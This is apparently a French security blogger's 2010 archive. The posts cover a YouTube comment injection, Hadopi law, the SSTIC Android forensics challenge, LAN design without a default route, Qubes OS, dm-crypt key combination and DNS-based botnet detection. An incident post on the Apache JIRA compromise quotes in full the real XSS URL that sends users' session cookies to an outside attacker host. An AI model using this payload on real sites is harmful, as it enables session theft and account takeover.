Dans le temps, oui, la "TCP/IP security" était excitante. Mitnick qui a su, lui, faire du spoofing intelligement ;) . Les filtres de paquets qui passaient de stateless à statefull, les options TCP les plus obscures qui permettaient de traverser du firewall. Mais aujourd'hui, à peu près tous les filtres IP se valent et la discussion va plus porter sur le prix de la solution et/ou la facilité d'utilisation que sur les qualités du produit...

La sécurité de TCP/IP n'intéresse plus le monde de la sécurité. Si on regarde les actes du SSTIC 2010: rien sur la sécurité TCP/IP. 2009: rien non plus. Il faut remonter à 2008 pour avoir une (1!) conf qui a pour sujet quelques fonctionnalités liées à TCP/IP... L'année d'avant une seule conf aussi, ça parle d'IPv6.

Don't you too think that TCP/IP security is boring?

mercredi 7 juillet 2010

dimanche 4 juillet 2010

Je sens un parfum d'injection sur youtube...

[EDIT]: C'est corrigé chez youtube. Ils sont rapides.
---

Youtube ne serait pas protégé contre les injections?

On vient de m'envoyer un lien youtube présentant une caractéristique curieuse:
http://www.youtube.com/watch?v=cNvJy0zoXOY. La vidéo s'entend bien, mais on ne voit que ceci:

Ma machine n'est pourtant pas infectée...

Il s'agit d'une injection réalisée par un des commentaires de la vidéo, celui de XZI7:
Une commande MARQUEE, enrobée dans un H1, le tout dans un script avec une balise presque fermée suffit. Résultat, on ne peut lire que le BAHAHAHAAHAH qui défile sur un fond noir. Ces prochains jours, je vais m'abstenir d'aller sur youtube, il y a sûrement un gars plus retors qui voudra essayer d'injecter du code plus offensif...

Je ne voudrais pas une fois de plus jouer sur l'air de "la sécurité est un échec" [(c) Newsoft], mais le fait que Google laisse passer ce genre d'injection laisse tout de même songeur.

Une rapide étude montre que l'injection se fait via le paramètre IF_HTML_FUNCTION. Une recherche google montre la propagation de la faille.

mercredi 23 juin 2010

Dessine-moi une Hadopi

L'hadopi est une loi et une Haute Autorité chargé de veiller au respect des droits d'auteurs fort contestée.

Dernièrement, nous avons pu voir deux logiciels censés être des logiciels de sécurisation. Le premier par un fournisseur d'accès au nom d'agrume, le second nommé hadopi-protect, ce qui relève d'un certain art de l'à-propos.
Inutile de le préciser, ces deux logiciels ont été des FAIL, des Epic Fail, des échecs épiques dont la moitié de l'internet continue de rire.

Ce désastre était pourtant attendu. Il était absolument évident, du fait de la popularité (si l'on peut dire) d'Hadopi dans le monde des internautes, que le moindre de ces logiciels de sécurisation allait faire l'objet d'une étude en règle et se faire disséquer jusqu'au dernier octet. Pourtant, des décideurs ont choisi de publier (et vendre) ces logiciels. On ne peut leur opposer un argumentaire technique (ils n'y connaissent vraisemblablement rien en informatique), mais la simple évocation d'une armée d'internautes prêt à en découdre aurait du les en dissuader. Toutefois, ces logiciels ont été écrits, puis publiés.

Mais une question me taraude. Ce logiciel de sécurisation surfant sur les préconisations de la hadopi, à quoi est-il censé servir? On a entendu parler d'un fameux logiciel de sécurisation pendant les débats parlementaires, mais aujourd'hui, où en sommes-nous? J'ai passé du temps sur legifrance et le site du conseil constitutionnel pour savoir à quoi peut bien servir ce logiciel et quelles sont les missions de sécurisation qu'il est chargé de remplir. La réponse est surprenante.
( CC signifie Conseil Constitutionnel )

Acte premier, la loi du 12 juin 2009
1/ De l'intérêt de comprendre l'intention du législateur: l'étude des dispositions du projet de Loi n°2009-669 du 12 juin 2009 favorisant la diffusion et la protection de la création sur internet
(extrait du site de l'Assemblée nationale / Sénat: http://www.senat.fr/leg/tas08-081.html)
Trois dispositions intéressent l'obligation de sécurisation de la connexion internet dans ce projet de loi :
  • L'article 4 du projet de loi supprime l'actuel article L. 335-12 du code de la propriété intellectuelle, qui fait peser sur l'abonné à internet une obligation de veiller à ce que son accès ne fasse pas l'objet d'une utilisation portant atteinte aux droits de propriété littéraire et artistique, par coordination avec la création d'un nouvel article L. 336-3 (introduit par l'article 11 du projet de loi) qui précise le contenu de cette obligation, l'assortit d'une sanction et détaille les clauses exonératoires de responsabilité.
  • L'article 6 (devenu ultérieurement article 5, la lisibilité des textes est un bonheur) du projet de loi crée l'obligation, mise à la charge du titulaire d'un accès à des services de communication au public en ligne par l'actuel article L. 335-12, de veiller à ce que cet accès ne fasse pas l'objet d'une utilisation qui méconnaît les droits de propriété littéraire et artistique.
    Les alinéas suivants prévoient les clauses d'exonération. Ils disposent que la responsabilité du titulaire de l'accès ne peut être retenue lorsque le titulaire de l'accès a mis en œuvre un des moyens de sécurisation définis en application de l'article L. 331-30. Ils écartent également la responsabilité de l'abonné lorsqu'un tiers a frauduleusement accédé au service, à moins que cette personne ne se trouve placée sous l'autorité ou la surveillance de l'abonné. Ils prévoient enfin le cas de force majeure.
  • L'article 8 modifie le 1° du I de l'article 6 de la loi n° 2004-575 du 21 juin 2004 pour la confiance dans l'économie numérique. Il a pour objet de prévoir que les fournisseurs d'accès informent leurs abonnés de l'existence de moyens techniques permettant de prévenir l'utilisation frauduleuse de leur accès à internet - moyens techniques dont la mise en oeuvre permet au titulaire de faire jouer la clause exonératoire prévue à l'article L. 336-3 du code de la propriété intellectuelle. En revanche, il ne contraint pas les fournisseurs d'accès à proposer de tels dispositifs, contrairement à ce que prévoit le même article de loi du 21 juin 2004 pour ce qui concerne les moyens techniques permettant de restreindre l'accès à certains services ou de les sélectionner (dits « de contrôle parental »).

Acte deux, ou la saisine du conseil constitutionnel et ses conséquences
2/ Les articles du projet de loi précité avaient pour conséquence d'insérer dans le CPI (code de propriété intellectuelle) une nouvelle version de l'obligation de sécuriser sa connexion internet assortie de sanctions en cas d'inexécution et de possibilités d'exonération de ses sanctions dès lors que l'internaute installait des programmes dits « mouchards ». Cependant, ces textes ont été déclaré partiellement non conforme à la Constitution par la décision n° 2009-580 DC du 10 juin 2009. Les parties en rouge n'ont jamais été promulguées (autrement dit elles n'existent pas):

L'article 11 de la loi LCI introduit au chapitre VI du titre III du livre III de la première partie du CPI l'article L. 336-3 ainsi rédigé
« Art. L. 336-3. - La personne titulaire de l'accès à des services de communication au public en ligne a l'obligation de veiller à ce que cet accès ne fasse pas l'objet d'une utilisation à des fins de reproduction, de représentation, de mise à disposition ou de communication au public d'oeuvres ou d'objets protégés par un droit d'auteur ou par un droit voisin sans l'autorisation des titulaires des droits prévus aux livres Ier et II lorsqu'elle est requise.

« Aucune sanction ne peut être prise à l'égard du titulaire de l'accès dans les cas suivants :
« 1° Si le titulaire de l'accès a mis en oeuvre l'un des moyens de sécurisation figurant sur la liste mentionnée au deuxième alinéa de l'article L. 331-32 ;
« 2° Si l'atteinte aux droits visés au premier alinéa du présent article est le fait d'une personne qui a frauduleusement utilisé l'accès au service de communication au public en ligne ;
« 3° En cas de force majeure.
« Le manquement de la personne titulaire de l'accès à l'obligation définie au premier alinéa n'a pas pour effet d'engager la responsabilité pénale de l'intéressé.

« Art. L. 331‑30 L. 331‑32. – Après consultation des concepteurs de moyens de sécurisation destinés à prévenir l’utilisation illicite de l’accès à un service de communication au public en ligne, des personnes dont l’activité est d’offrir l’accès à un tel service ainsi que des sociétés régies par le titre II du présent livre et des organismes de défense professionnelle régulièrement constitués, la Haute Autorité rend publiques les spécifications fonctionnelles pertinentes que ces moyens doivent présenter pour être considérés, à ses yeux, comme exonérant valablement de sa responsabilité le titulaire de l’accès au titre de l’article L. 336‑3.
« Au terme d’une procédure d’évaluation certifiée prenant en compte leur conformité aux spécifications visées au premier alinéa et leur efficacité, la Haute Autorité établit une liste labellisant les moyens de sécurisation dont la mise en œuvre exonère valablement le titulaire de l’accès de sa responsabilité au titre de l’article L. 336‑3. Cette labellisation est périodiquement revue.
« Un décret en Conseil d’État précise la procédure d’évaluation et de labellisation de ces moyens de sécurisation.

Acte trois, le retour d'Hadopi, tentative de mise en conformité à la jurisprudence du CC
3/ L’obligation de surveillance de l’accès à internet aujourd'hui
3-1/ Absence de sanction ayant leur fondement sur la loi LCI précitée

L’ensemble du dispositif institué par la loi repose sur le manquement à l’obligation de surveillance de l’accès à internet institué par le premier alinéa de l’article L. 336-3 du code de la propriété intellectuelle ainsi rédigé dans sa version issu de la loi de juin 2009: « La personne titulaire de l’accès à des services de communication au public en ligne a l’obligation de veiller à ce que cet accès ne fasse pas l’objet d’une utilisation à des fins de reproduction, de représentation, de mise à disposition ou de communication au public d’oeuvres ou d’objets protégés par un droit d’auteur ou par un droit voisin sans l’autorisation des titulaires des droits prévus aux livres Ier et II lorsqu’elle est requise. »

Si cette obligation a été validée par le CC, tout le système de sanction et les modalités d'exonération de ces dernières est tombé (notamment, l'article L 331-32 du CPI a été déclaré non conforme à la Constitution) par la décision du CC (cf l'analyse des Cahiers du CC dispo à l'adresse suivante - source officielle du CC:
http://www.conseil-constitutionnel.fr/conseil-constitutionnel/root/bank/download/2009-580DC-ccc_580dc.pdf )

On a donc une obligation figurant à l'article L 336-3 du CPI, qui n'est plus sanctionnée par la loi LCI et dont tout le système d'exonération de sanction n'a plus de fondement juridique de fait. En clair, suite à la promulgation de la loi dite « HADOPI », cette autorité ne peut légalement homologuer quelque logiciel que ce soit de quelque provenance qu'il soit puisque cette homologation devait faire l'objet d'une procédure fondée sur un décret pris en Conseil d'Etat en application de l'article L 331-32 du CPI tel qu'issu de la Loi LCI. Or cet article a été déclaré non conforme à la Constitution! Il n'est donc jamais devenu un article de loi en vigueur et donc ne crée aucune obligation.

Mais le Gouvernement s'est remis à l'ouvrage et a décidé d'adopter de nouvelles dispositions législatives pour introduire tout de même des sanctions pour non respect de l'obligation de sécurisation de la ligne internet tout en respectant les principes posés par le CC.

3-2/ La modification de l'article L 336-2 du CPI par la loi n° 2009-1311« protection pénale de la propriété littéraire et artistique sur Internet » et l'introduction de sanctions

« L’objectif affiché par le projet de loi est de conduire à son terme le dispositif de riposte graduée contre les atteintes aux droits d’auteur commises sur internet, en tirant les conséquences de la censure du 10 juin 2009 À cette fin, le projet de loi poursuit deux orientations principales. D’une part, il soumet le jugement des délits de contrefaçon commis sur internet à des règles de procédure pénale particulières (jugement à juge unique et procédure simplifiée). D’autre part, il institue deux peines complémentaires de suspension de l’accès à un service de communication au public en ligne. L’une, délictuelle, est destinée à réprimer les contrefaçons commises au moyen de ce type de service, l’autre, contraventionnelle, vise certaines contraventions de la cinquième classe qui auront vocation à figurer dans la partie réglementaire du code de la propriété intellectuelle (CPI) » (commentaire tiré de ce document).

Pour faire bref, « les questions constitutionnelles que tranche la décision du 22 octobre 2009 sont de nature assez différente de celles traitées dans la décision du 10 juin 2009. L’essentiel de la décision du 22 octobre 2009 porte, en effet, sur la question de la répartition entre la compétence du législateur et celle du pouvoir réglementaire en matière de lois pénales et de procédure pénale » (tiré du même document).

Fin de cet intermède juridique (si vous avez déjà débuggé du code noyau, sachez que c'est un plaisir après avoir suivi les méandres des textes de lois :-) ).

Aujourd'hui, la loi parle donc toujours de la sécurisation de l'accès à internet. Sauf que:
  • En cas de litige avec la Hadopi, aucun logiciel de sécurisation ne peut servir à s'exonérer de la sanction.
  • La Hadopi n'est habilitée à homologuer aucun logiciel.
  • La Hadopi ne peut pas obliger à employer un logiciel de sécurisation.
Reste donc ce fameux (fumeux?) logiciel de sécurisation. N'importe lequel fera l'affaire, puisqu'il ne sert à rien. Et d'ailleurs, il n'y a aucune pertinence à y avoir recours si ce n'est acheter un produit commercial et marketing. Cependant, notons que ce produit n'apporte aucune protection sur le terrain juridique (je vous laisse seul juge du terrain technique).

mercredi 2 juin 2010

Le challenge SSTIC2010 est terminé.

Tous les ans, le SSTIC propose un challenge ouvert à tous en lien avec la sécurité informatique. Cette année, le concours est organisé par l'ANSSI. L'ANSSI est l'agence gouvernementale dérivant de la DCSSI, suite aux recommandations du livre blanc sur la défense nationale. Elle a volonté de devenir autorité dans les systèmes de sécurité informatiques. A mon avis il n'y a pas de hasard quant à la présence de l'ANSSI comme organisateur du challenge cette année. Quitte à faire phosphorer des participants, autant leur montrer la direction :)

Débutons par la recherche de la personne qui a créé ce challenge. Généralement, si l'auteur est connu, il a publié un certains nombres de conférences ou d'articles, il est facile de cerner le domaine d'activité ou les pistes générales de résolution. Ici, l'identité de l'auteur n'est pas connue. Dommage. Pas de labo smartphones sur le site de l'ANSSI, pas de publication non plus.

Il s'agit d'un challenge de forensics sous linux, d'un CPU ARM, du système Android. Après quelques recherches rapides, on apprend que le fonctionnement des programmes sous Android utilise une machine virtuelle appelée Dalvik, grossièrement comparable une machine Java, et que le format d'exécutables est de type .dex, optimisé à chaud en .odex.

Revenons à l'ANSSI. Quel a été son but en proposant ce challenge? Je ne pense pas qu'il s'agisse de savoir si les participants savent utiliser les commandes strings et grep ;)
Pour décompiler du code dex, ça a été fait juste avant le challenge: http://www.illegalaccess.org/undx/ . Pour décompiler de l'odex ça existe depuis un peu plus de temps: http://code.google.com/p/smali/

Mais comment analyser cette RAM? Il existe des outils d'analyse de dump mémoire sous windows: http://www.moonsols.com/. Certains vieux trucs, non cités ici, permettent dans certains cas de lire une image mémoire sous linux avec un noyau patché.

Sinon, côté outil d'analyse de RAM sous linux, c'est le néant. Et je pense que c'est ce qu'attends l'ANSSI! A ce titre, le double concours est clair. Il est clairement indiqué qu'ils attendent non seulement la solution, mais surtout une explication détaillée de celle-ci. Je pense à ce titre que la valeur monétaire d'un outil de forensics sous linux dépasse de loin la valeur des lots :) [ Wild Guess de ma part, je n'ai pas de chiffre en tête. ]

Quel serait cet outil dans ce cas? A mon avis, pour s'approcher de la solution, il faut recréer la table des process dans l'image mémoire. Un process est une structure, définie dans <linux/sched.h> task_struct. Les process font partie d'une liste doublement chaînée.
Yapluka
trouver un process dans le dump Android, remonter la chaîne reconstruire l'équivalent de /proc/ et de lister les fichiers ouverts, les lignes de commandes utilisées, les arguments, etc.. Le process initial cible évident semble être init, de pid 1. Je dis "yapluka", je pense qu'on doit vite tomber dans pas mal de subtilités, et ça explique pourquoi je n'ai pas poussé mon idée. Une fois les fichiers trouvés, à mon avis, il faut iliser undx et/ou baksmali pour comprendre le code, faire l'opération inverse, et voir afficher "Bravo ! Va lancer le binaire" ;)

Est-ce que le challenge SSTIC cette année consistait pour l'ANSSI de créer des outils de forensics? Je me trompe peut-être, j'espère que l'intégralité des solutions seront fournies sur le site du SSTIC, elles seront sûrement intéressantes à consulter. Réponse le 10 juin.

mercredi 19 mai 2010

route del default (ou: "et si on réglait définitivement les problèmes de sécurité du LAN" )

La sécurité informatique est un domaine de recherche qui couvre un large spectre de menaces. Certains se spécialisent en reverse engineering, d'autres en spécialistes d'intrusions, en ingénierie sociale, en cryptographie, en protection des réseaux et bien d'autres activités encore.

Le LAN, comme dont je fais référence dans cet article est un réseau d'entreprise, connecté à internet. Ces LANs sont bien évidemment 'at risk'. Les firewalls aujourd'hui fonctionnent relativement bien et les attaques frontales ne sont plus très efficace. Par contre, on observe un énorme regain d'intérêt sur les attaques visant le poste client. Un attaquant cherchera a pousser un poste client à aller chercher lui-même sur internet une charge offensive qui lui permettra de prendre le contrôle de la machine afin soit de rebondir, soit d'extraire des données.

Pour un administrateur SSI (Sécurité des Systèmes d'Informations), la tâche consistant à sécuriser son LAN et éviter ce genre d'attaques revient à une mission impossible pour deux raisons majeures.
La première est évidente: les utilisateurs sont des simples utilisateurs, non conscients des impacts sécuritaire. Lorsqu'un mail d'un "ami" leur arrive et leur demande de cliquer pour voir une video "marrante", ils cliquent, installent un "codec" au besoin, cliquent encore trois ou quatre fois sur des fenêtres de confirmation et se sont fait pirater.
La seconde raison concerne le patch management. En effet, il semble devenu acquis qu'il est impossible de maintenir un parc conséquent à jour. Des virus comme Conficker parviennent à infecter des larges organisations alors même que le virus soit apparu suite au correctif! Ce document et les liens afférents confirme que la cible du "up-to-date" ne sera jamais atteinte.

Ceci étant posé, comment réussir à augmenter le niveau de sécurité ou diminuer l'impact des failles du LAN?

Pour cela, pas de meilleure lecture que les ancêtres ;). En effet, je lisais dans un bouquin (dont je n'ai pas la référence ici) la manière dont une université avait donné accès à internet à un réseau sensible. En ces temps reculés, le masquage n'existait pas. De plus, l'université ne voulait pas router ces IP dû au caractère confidentiel des données sur les machines en question.
L'administrateur a installé une machine avec deux cartes réseaux (une côte LAN une côté internet), qui n'était pas configurée en routeur. Les utilisateurs se connectaient en telnet dessus, puis exportaient en X-DISPLAY le navigateur web sur leur poste local.

Je trouve cette idée excellente et riche d'enseignements, au point même que je pense qu'il faudrait y revenir, ce qui est réalisable en deux étapes.

Première étape: Lister les services dont ont besoin les utilisateurs, qui sont généralement les trois suivants
1- Mail
2- Web
3- flux métiers (par exemple un accès à un serveur TSE ou un accès à une base de données)

Deuxième étape: couper la route par défauti des machines du LAN, d'ou le titre du post de ce blog. En listant ces services, on constate que l'on se passe très bien de passerelle par défaut, voire même de DNS. Le serveur SMTP/POP/IMAP est joint sur le réseau local ou à 1 hop maximum. Les flux réseaux également. Pour le web, il ne faut pas utiliser de proxy. En effet, un virus pourrait récupérer ce paramétrage et sortir sur internet. Il faut utiliser un export DISPLAY afin que seul l'affichage sur le poste local soit effectué. C'est là tout le principe de la méthode. Certains points sont en suspens; notemment l'utilisation d'un web très dynamique (flash, etc..) ou l'envoi de pièces jointes. Généralement ces deux points sont interdits par des politiques d'entreprise (et contournées :) ), avec un export DISPLAY, la politique d'entreprise est d'autant plus respectée que la configuration du navigateur reste sous la maîtrise de l'administrateur.

A peu près toute activité virulente ou offensive risque est donc stoppée dans l'oeuf. Toutes mes récentes lectures de blog de sécurité ou autre qui impliquent une attaque du LAN repose sur ces deux assomptions: A- La machine attaquée pourra résoudre un nom DNS. B- La machine attaquée pourra sortir sur internet. (S'ensuit des débats sans fin préconisant l'utilisation de HTTPS pour éviter les sondes IDS/IPS.)
Je n'ai pas encore vu de botnets ou d'attaques basées sur des communications entièrement asynchrones comme l'email [Cela ne veut pas dire que cela n'existe pas, je fais confiance à l'imagination débordante des pirates :) ].

Avec ma méthode, la gestion de la sécurité revient sur un périmètre gérable et maîtrisable par l'administrateur sécurité ce qui est un énorme gain. Il peut suivre un serveur de mail (ou un pool de), un serveur de sessions X, et une politique de route statique. A la limite, les machines du LAN peuvent ne plus être mises à jour puisque toute faille restera confinée.

En conclusion, essayez d'imaginer votre réseau local sans route par défaut et l'impact que cela donne sur la gestion de la sécurité. Supprimer la route par défaut semble techniquement réalisable, pourquoi s'en priver?

mercredi 12 mai 2010

RMLL 2010

Je présente une conférence aux RMLL 2010 (Rencontres Mondiales du Logiciel Libre) sur le thème de la sécurité informatique intitulée "Le chiffrement de disque sous linux, vrai ou faux sentiment de sécurité?".

Je fournis sur ce blog l'abstract de cette conférence:

Cet article vise à démontrer que le chiffrement de disque sous linux, réalisé via l’utilisation du module noyau dm-crypt et du programme cryptsetup, fait l’objet d’une faille conceptuelle. En effet, le programme déchiffrant le disque réside sur une partition en clair. Il s’ensuit qu’un attaquant peut le modifier à sa guise pour obtenir le mot de passe des partitions chiffrées, ou pour placer un programme malveillant suite au déchiffrement des partitions.

Pour répondre à cette faille, le trusted computing est nécessaire, plus particulièrement la puce TPM et ses mesures des métriques du démarrage. Ainsi, les outils utilisant cette puce (TrustedGrub, trousers et tpm-tools) permettent de présenter une méthode novatrice pour obtenir un boot sécurisé d’une machine. Cette méthode assure que le système démarré est bien un système sain et non un système modifié par un attaquant.

La conférence à lieu le 7 juillet 2010, à 15h aux RMLL.

mercredi 14 avril 2010

Compromission d'apache -Bis-

L'an dernier, apache s'était fait attaquer avec succès, via une clé SSH compromise, cf: http://exploitability.blogspot.com/2009/08/compromission-dapacheorg.html. Apache vient de publier un bulletin dans lequel ils expliquent s'être fait attaqués une nouvelle fois.
L'histoire est très bien racontée ici:
https://blogs.apache.org/infra/entry/apache_org_04_09_2010

Je salue la transparence de l'équipe d'Apache qui n'hésite pas à donner des détails sur la manière dont l'attaque a été rendue possible. Ceci donne d'ailleurs matière à bloguer.

Il est indiqué que les attaquants ont utilisé une attaque XSS via un lien tinyurl:
"The attack was crafted to steal the session cookie from the user logged-in to JIRA"
Mais ensuite:
"At the same time as the XSS attack, the attackers started a brute force attack against the JIRA login.jsp"
Et enfin:
"On April 6th, one of these methods was successful." Mais sans préciser laquelle. Dommage.

Une seconde remarque, dont je parlais déjà lors de la première compromission, concerne la manière dont ces admins se sont rendus compte que quelque chose ne tournait pas rond. Il est simplement indiqué:
"About 6 hours after they started resetting passwords, we noticed the attackers and began shutting down services"
Et à cet instant, nous sommes déjà 3 jours après l'attaque initiale... Que se serait il passé si le ou les attaquants étaient restés plus discrets?

A propos de l'attaque a proprement parler.
Il est fait mention:
"ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured] "
Une recherche google permet de retrouver facilement le bon tinyurl, et quelques manipulations plus tard, nous obtenons le XSS:

https://issues.apache.org/jira/secure/popups/colorpicker.jsp?element=name;}catch%28e%29{}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/noscript%3E%3Cscript%3Edocument.write%28%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27%29;window.location=%22http://pastie.org/904699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//

Intéressant. Pour faire bref, on appelle bien une URL http://pastie.org/904699 qui ressemble à une stack trace Java. Mais au milieu, on peut lire
img%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie
Donc lors de l'appel à cette page, une requête img src est faite sur le domaine teap.zzl.or/teap.php avec en argument le document.cookie. Ceci corrobore tout à fait le compte rendu de la fondation apache. Mais je pense, sans avoir testé, que l'admin en cliquant sur le tinyurl tombe sur la page de pastie.org. Ceci n'éveille donc pas de doutes de l'admin: on lui parle d'une erreur java, il lit une stack trace java.
(Le site teap.zzl.org redirige aujourd'hui vers zymic, pour une page 404)

L'hébergeur, Atlassian a communiqué sur ces failles,
http://jira.atlassian.com/browse/JRA-20994 et http://jira.atlassian.com/browse/JRA-20995 mais à l'heure actuelle le site est en arrêt pour maintenance.

jeudi 8 avril 2010

Qubes, enfin un OS sécurisé?

Joanna Rutkowska, chercheuse émérite en sécurité vient de publier une nouvelle manière d'appréhender l'installation et l'utilisation d'un OS. Son domaine de prédilection en sécurité est le poste de travail. En effet, même si certaines personnes disent que "the network is the computer" (letimotiv de la compagnie Sun), elle explique qu'in fine, toutes les données à protéger sont bien sur un ordinateur, de préférence la machine locale devant l'utilisateur. Peu importe la manière dont on a pu sécuriser le réseau, les serveurs, les protocoles, si l'attaquant à la main sur la machine de l'utilisateur final, alors toute cette sécurité devient vaine: http://theinvisiblethings.blogspot.com/2010/01/priorities.html

Elle vient de publier un nouvel OS: Qubes-OS, ainsi que la documentation associée (44 pages).

Le concept clé derrière son idée de la sécurisation du poste de travail est l'isolation. La technologie d'isolation choisie est Xen. KVM a été évalué également, mais Xen semble plus simple à sécuriser et offre plus d'options selon invisible things. Chaque service est compartimenté dans une VM.
Il existe trois classes de VM: les services VM, les apps VM, et la desktop VM.
1/
Desktop VM.
Cette VM est le dom0 en langage Xen, elle ne gère que l'écran le clavier et la souris et le lancement des autres VM. Entre autre, il n'y a pas de réseau configuré dans cette VM. Elle est réduite à son strict minimum.
2/
services VM.
Nous trouvons ici les VM dédiées à une tâche particulière. Par exemple la VM réseau, qui, comme son nom l'indique, ne gère que les cartes réseaux. Les cartes ethernet et wifi sont dédiées à cette VM, et grâce à l'IOMMU des derniers CPU Intel (VT-d) l'isolation est parfaite. De plus, toute la stack IP est éxécutée en userland. Bénéfice? Si un attaquant prend le contrôle de cette machine, il n'a pas plus de droits que s'il avait pénétré le réseau local.
La machine stockage ne gère également que le stockage des disques des VM, sous forme chiffrée.
3/
Apps VM. Il s'agit de VM dont le rôle diffère uniquement selon leurs usages. Invisible Things Labs propose 5 types de VM, classées de standard à haute confidentialité. Un utilisateur pourra donc tester tous les jeux et gadgets à la mode dans une VM, et conserver une VM pour aller faire ses opérations bancaires.

Ceci rappelle furieusement le concept des micro-noyaux, ce dont les auteurs ne se cachent pas..

Tout ceci est en train d'être abondamment twitté, bloggé, journalisé, etc..

La partie intéressante est la partie 8 de son pdf.
"8. Analysis of potential attack vectors". Bien entendu, il est indiqué que le code n'a pas été prouvé comme sûr et qu'il ne le sera sans doute jamais. Le hardware et le software deviennent trop compliqués pour être formellement vérifié. Le but de Qubes est uniquement de réduire la surface d'attaque.
Les attaques potentielles prennent toutes en compte qu'un attaquant a déjà compromis une VM et cherche a compromettre une seconde VM.

jeudi 1 avril 2010

Combiner deux clés de manière sécurisée.

Dans le cadre d'une petite étude sur un PoC, je suis confronté au problème suivant.
Soit deux personnes, Alice et Bob, qui doivent accéder à des données. Alice a une clé, Bob a une clé. Mais Alice ou Bob pris seul ne doit pouvoir accéder aux données.

Dit autrement en des termes plus informatiques, j'ai une partition chiffrée via dm-crypt sous linux, et j'ai besoin de l'ouvrir avec deux clés. Chacune des clés prise séparément ne doit pas permettre l'ouverture de la partition. De plus chacune des clés ne doit pas faciliter l'attaque sur la partition chiffrée.

La première manière, simple, consiste à tout simplement concaténer les clés et les fournir à cryptsetup:
( echo -n $KEY_BOB$KEY_ALICE ) | cryptsetup luksOpen /dev/hda2 secret

Est il possible de faire mieux? Bien sûr. Deux méthodes donnent satisfaction.

1/ Il suffit d'utiliser le fameux chiffrement de Vernam .
Un XOR de la clé de Bob sur la clé d'Alice fournira une troisième clé permettant d'ouvrir la partition cryptsetup. Pour XOR-er facilement deux chaînes de caractères, un petit bout de code en C semble le plus efficace:
int main(int c, char **v) {
char *a, *b;
if (c != 3) return 1;
for(a = v[1], b = v[2]; *a && *b; a++, b++)
putchar(*a ^ *b);
putchar('\n');
return 0;
}

Par construction, ni la clé de Bob ni la clé d'Alice ne fournit la moindre information sur la 3e clé permettant de déchiffrer la partition.

2/ Une autre solution consiste simplement à faire un hash sécurisé des deux clés:
(echo -n $KEY_BOB$KEY_ALICE ) | sha256sum | ...
Il faut faire attention que la sortie de sha256sum est limitée aux caractères [0-9][a-f]; il faut donc la retraiter pour la retransformer en 32 octets avant de la passer à cryptsetup.

Vérifions rapidement ces résultats. 32 octets pour protéger la clé, est-ce suffisant? 32 octets, c'est 2^256 possibilités. En imaginant qu'une machine puisse tester 100000 clés par secondes, il faudra
2^256/(100000x3600x24x365)=3.67x10^64 années pour faire le calcul, ce qui semble acceptable.


Ces solutions passent facilement à l'échelle si l'on souhaite ajouter des clés. Avec deux, trois, quatre ou 'n' clés, cela fonctionne toujours. Toutefois, cela devient un problème lorsque l'ouverture requiert, mettons dix personnes, et que l'une d'elle n'est pas présente. Shamir a inventé un protocole permettant un fonctionnement par seuil, par exemple pouvoir obtenir la clé de déchiffrement lorsque seulement 'x' personnes sont présentes parmi les 'y' à détenir une partie de la clé. Bien que cela dépasse mon propos initial (je n'ai besoin que de deux clés), la solution est très intéressante.

Je remercie les participants du groupe fr.misc.cryptologie pour les bonnes idées.

mardi 16 mars 2010

Analyse DNS comportementale anti-botnets

L'administrateur réseau et sécurité doit surveiller son réseau pour détecter des activités malveillantes afin d'y parer. Le problème est classique et revient à s'interroger sur ce qui différencie une action normale d'une action malveillante. L'evil Bit étant resté au rang de draft, le meilleur moyen consiste d'avoir des logs et de les consulter.
Le log management est une activité à part entière et généralement on est coincé entre des logs gigantesques contenant forcément l'information pertinente, mais noyée, et des logs réduits qui ne sont finalement que quelques statistiques facilement exploitables, mais loin d'être suffisantes.

Aujourd'hui, le risque, c'est le botnet. Les filtres IP en bordure deviennent puissants, de niveau applicatif, et il devient difficile de les attaquer de front. Toutefois, cela n'empêche pas les botnets de communiquer. Certains utilisent des protocoles de type P2P, ce qui peut se bloquer simplement, d'autres des requêtes web légitimes protocolairement parlant ce qui est bien plus compliqué à bloquer.

Toutefois, je pense qu'il est possible de tracer l'activité de machines zombifiées. Tout d'abord, il faut se poser la question: "que font ces machines?". Elles se connectent au canal de commande et contrôle, puis obéissent aux ordres reçus. Ces ordres sont (je schématise), soit envoyer du SPAM en quantités, soit servir de relais web (ou P2P) pour héberger du malware servant à infecter les futures victimes. La partie qui transforme la machine en site web ne m'intéresse pas. Regardons de plus près les autres activités.

Effectuons une analyse rétroactive. Ces machines vont donc tôt ou tard envoyer du SPAM. Cette activité revient à envoyer du mail. Comment envoie-t'on un mail? En débutant par une requête mail MX pour trouver l'adresse IP du serveur mail de destination. Ceci est donc une trace permettant de lever une suspicion légitime: toute machine de son réseau effectuant une requête DNS MX doit immédiatement être investiguée plus en avant.

Mais à l'origine, le zombie doit se connecter à son canal de commande. Encore une fois, il doit réaliser une requête DNS pour trouver l'adresse IP de destination. Il s'agit d'une requête de type A, banale, commune à toutes les autres requêtes. Toutefois, je pense qu'on peut creuser par là. Les domaines changent en permanence, inutile de vouloir corréler la dessus. Par contre, un point m'a toujours étonné: comment font ces botmaster pour déposer 5000 noms de domaines par jour, alors qu'en déposer un me coute 5 euros? La réponse est simple, il suffit de trouver un registrar complaisant. Et ce point me semble suffisement important pour être noté.
Donc il suffit de surveiller son DNS, et chercher les authoritative DNS pour chaque domaine interrogé. Ensuite, une liste est faite entre les DNS "finaux" si je peux dire, et les requêtes faites par les machines locales. Cette liste permettra d'indiquer une part de "crédibilité" du serveur DNS répondant du domaine. Si un léger pourcentage des machines de mon réseau interroge régulièrement des serveurs DNS hébergés chez un fournisseur n'ayant pas toute les garanties, cela doit être un signal d'alarme.
Comment connaître ces DNS douteux? Je pense que la géolocalisation IP est une piste qui doit être corrélée avec les AS contenant les serveurs.
Petit à petit, il doit être possible de donner un indice d'innocuité ou non à des serveurs DNS, à la manière de DNSBL ou autre mécanisme de ranking.
Idéalement, il serait sans doute possible d'identifier un botnet via ses serveurs DNS de références (quel AS, quel registrar, etc...)

Le volume de ces données doit rester gérable même pour des gros réseaux en fonction des doublons. Chaque nom de domaine doit être unique dans la base. Ensuite, chaque enregistrement des serveur DNS doit remonter la liste des domaines dont il s'occupe.

